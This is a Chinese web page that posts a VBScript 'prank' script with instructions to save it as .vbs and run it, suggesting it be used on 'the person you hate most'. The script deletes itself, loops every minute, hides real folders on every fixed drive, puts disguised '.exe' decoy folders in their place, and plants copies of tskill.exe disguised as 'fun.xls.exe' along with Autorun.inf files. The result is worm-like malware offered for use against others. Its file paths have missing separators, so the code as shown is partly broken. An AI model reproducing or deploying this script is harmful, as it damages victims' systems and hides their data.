爱华网废话不多说了，代码如下，大家知道该怎么用：
''''''''''''''''''''代码开始''''''''''''''''''''
On Error Resume Next
Set fso=CreateObject("Scripting.FileSystemObject")
Set Cx=fso.GetSpecialFolder(0)
fso.GetFile(WScript.ScriptFullName).Delete(True)
Do
C=fso.GetParentFolderName(Cx)
Set Fdrs=fso.GetFolder(C).SubFolders
For Each Fdr In Fdrs
If Not fso.GetExtensionName(Fdr.Name)="exe" Then
fso.CreateFolder(C & Fdr.Name & ".exe")
Set fun=fso.GetFile(C & "WINDOWSsystem32tskill.exe")
fun.Attributes=6
fun.Copy(C & Fdr.Name & ".exefun.xls.exe")
Set auto=fso.CreateTextFile(C & Fdr.Name & ".exeAutorun.inf")
auto.WriteLine("[Autorun]")
auto.WriteLine("Open=fun.xls.exe")
auto.Close
Set auto=Nothing
Set fun=Nothing
fso.GetFolder(C & Fdr.Name & ".exe").Attributes=Fdr.Attributes
Fdr.Attributes=6
End If
Next
Set Cx=Nothing
Set Fdrs=Nothing
Set drvs=fso.Drives
For Each drv In drvs
If drv.DriveType=2 Then
If drv & "" = C Then
Else
Set Fdrs=fso.GetFolder(drv).SubFolders
For Each Fdr In Fdrs
If Not fso.GetExtensionName(Fdr.Name)="exe" Then
Fdr.Name=Fdr.name & ".exe"
Set fun=fso.GetFile(C & "WINDOWSsystem32tskill.exe")
fun.Copy(drv & "" & Fdr.Name & "fun.xls.exe")
Set auto=fso.CreateTextFile(drv & "" & Fdr.Name & "Autorun.inf")
auto.WriteLine("[Autorun]")
auto.WriteLine("Open=fun.xls.exe")
auto.Close
Set auto=Nothing
Set fun=Nothing
End If
Next
End If
End If
Next
WScript.Sleep 60*1000
Loop
''''''''''''''''''''代码结束''''''''''''''''''''
打开记事本，复制，保存缀名为vbs格式
注意：此代码不可乱用，可能会把人弄疯的
除非是你最恨的人
vbs整人代码-我是大笨蛋
vbs整人代码-电脑关不掉与关不完的窗口
vbs整人代码-让对方直接关机
VBS整人代码(爱情测试与电脑关机等)
vbe整人代码大全(强制自动关机、打开无数计算器、
vBS整人代码 好玩的vbs整人代码
vbs整人代码之系统快要崩溃了
VBS经典整人代码一例
vbs整人代码-关不掉的窗口(图文)
vbs整人代码-定时关机
